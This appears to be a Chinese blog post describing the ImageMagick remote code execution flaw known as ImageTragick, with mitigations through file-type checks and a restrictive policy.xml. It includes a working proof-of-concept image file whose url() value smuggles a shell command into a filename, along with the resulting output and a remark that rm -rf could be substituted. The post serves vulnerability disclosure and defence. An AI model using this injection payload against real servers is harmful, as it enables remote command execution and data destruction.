堕落不振功业废,勤耕不辍日月新

ImageMagick重大0day漏洞-远程代码执行

中间件 hailen 421℃

巨多的网站和漏洞都在使用ImageMagick处理图片,最近ImageMagick被爆出重大漏洞。
这个漏洞是由于当在转换图片format的时候,由于image decoder缺少了对文件名的过滤引起的远程代码执行。
重现如下:
vim crack.jpg 添加如下内容:

push graphic-context

viewbox 0 0 640 480

fill 'url(https://example.com/image.jpg"|ls "-la)'

pop graphic-context

然后转换格式

mckee@mckee-pc ~/download $ convert crack.jpg out.png           
总用量 570092
drwxr-xr-x 11 mckee mckee      4096  5月 10 16:30 .
drwxr-xr-x 66 mckee mckee      4096  5月 10 16:30 ..
-rw-r-----  1 mckee mckee   1351701  5月  4 10:59 1442042040_271217.zip
-rw-r-----  1 mckee mckee     20694  5月  5 14:59 1462354457_404523.gif
-rw-r-----  1 mckee mckee   2694477  5月  5 17:49 1462414101_624315.zip
......

如果你将ls -l替换其它恶意命令如rm -rf,后果可行而知。
解决办法如下:
(1)在将图片提交给ImageMagick处理之前,先通过”magic bytes判断文件类型
(2)给ImageMagick添加policy,禁止编码EPHEMERAL, URL, MVG, and MSL.
sudo vim /etc/ImageMagick/policy.xml

<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="TEXT" />
  <policy domain="coder" rights="none" pattern="SHOW" />
  <policy domain="coder" rights="none" pattern="WIN" />
  <policy domain="coder" rights="none" pattern="PLT" />
</policymap>

参考资料:

  • https://imagetragick.com/

转载请注明:我是IT » ImageMagick重大0day漏洞-远程代码执行

喜欢 (0)or分享 (0)